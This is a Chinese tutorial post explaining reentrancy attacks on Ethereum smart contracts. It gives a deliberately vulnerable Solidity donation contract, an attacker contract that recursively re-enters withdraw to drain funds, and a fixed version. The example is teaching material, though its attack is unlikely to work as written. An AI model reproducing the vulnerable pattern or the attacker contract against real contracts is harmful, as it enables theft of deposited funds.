智能合约中重入攻击

1. 重入攻击:

攻击者利用合约在执行过程中的未锁定状态,通过递归调用合约中的函数,重复提取资金或资源。

示例

我们将使用以太坊的智能合约语言 Solidity 来创建一个简单的捐赠合约,然后展示一个潜在的重入攻击合约。首先,我们创建一个接收捐赠的合约,这个合约有一个余额,并且允许用户提款。这个合约的代码可能看起来像这样

csharp 复制代码
pragma solidity ^0.8.0;

contract VulnerableDonation {
    mapping (address => uint) public balances;
    address payable public owner;

    constructor() {
        owner = payable(msg.sender);
    }

    function donate() public payable {
        // 接收捐赠
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        // 这里应该先减少余额,再转账,但是顺序颠倒了
        msg.sender.transfer(_amount);
        balances[msg.sender] -= _amount;
    }
}

注意这里的问题是在 withdraw 函数中,我们首先尝试向用户转账,然后才减少他们的余额。这是不安全的,因为转账操作会触发接收方的 receive 或 fallback 函数,这给攻击者提供了机会来调用 withdraw 函数再次提款。

现在让我们创建一个攻击者合约,它可以利用这个漏洞:

csharp 复制代码
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableDonation donationContract;

    constructor(address _donationAddress) {
        donationContract = VulnerableDonation(_donationAddress);
    }

    fallback() external payable {
        if (address(this).balance > 0) {
            // 递归调用 withdraw 函数,只要还有余额就继续提款
            donationContract.withdraw(address(this).balance);
        }
    }

    function attack() public payable {
        // 第一次调用 donate 函数向捐赠合约存入资金
        donationContract.donate{value: msg.value}();
        // 然后立即调用 withdraw 函数开始重入攻击
        donationContract.withdraw(address(this).balance);
    }
}

在攻击者合约中,fallback 函数会在接收到资金时自动触发,如果合约中还有余额,它会递归地调用捐赠合约的 withdraw 函数,试图尽可能多地提款,直到没有剩余的资金可以转移为止。

为了确保合约的安全,正确的做法是在转账前减少用户的余额,这可以通过简单地调整 withdraw 函数的顺序来实现:

csharp 复制代码
function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    balances[msg.sender] -= _amount;
    // 转账应该在更新状态变量之后
    msg.sender.transfer(_amount);
}

这样,即使攻击者尝试在转账之前再次调用 withdraw 函数,他们也会发现自己的余额已经被更新,从而无法再次提款。

相关推荐
2601_9494999414 小时前
金价涨、光模块跌?不,它们之间存在更复杂的四重关联
人工智能·区块链
2301_7760452314 小时前
去中心化的好处:区块链与数字资产的优势解析
去中心化·区块链
2301_7760452316 小时前
什么是去中心化(在加密货币与区块链领域)
去中心化·区块链
飞Link1 天前
2026年 AI 与区块链深度融合的技术范式分析
人工智能·区块链
FONE_Platform1 天前
FONE大健康行业全面预算解决方案:重塑全链路敏捷预算体系
大数据·人工智能·区块链·全面预算
kels88992 天前
2026 年黄金实时价格数据 API 接口实测推荐
开发语言·笔记·python·金融·区块链
搬砖的小码农_Sky2 天前
比特币区块链:SHA256哈希函数
算法·区块链·哈希算法
搬砖的小码农_Sky2 天前
比特币区块链:什么是默克尔树?
去中心化·区块链
随读手机3 天前
多式联运信息交互平台完整方案(2026版)
java·ai·eclipse·云计算·区块链
木西3 天前
ERC-7579模块化账户标准:智能合约钱包的"乐高"插拔方案
web3·智能合约·solidity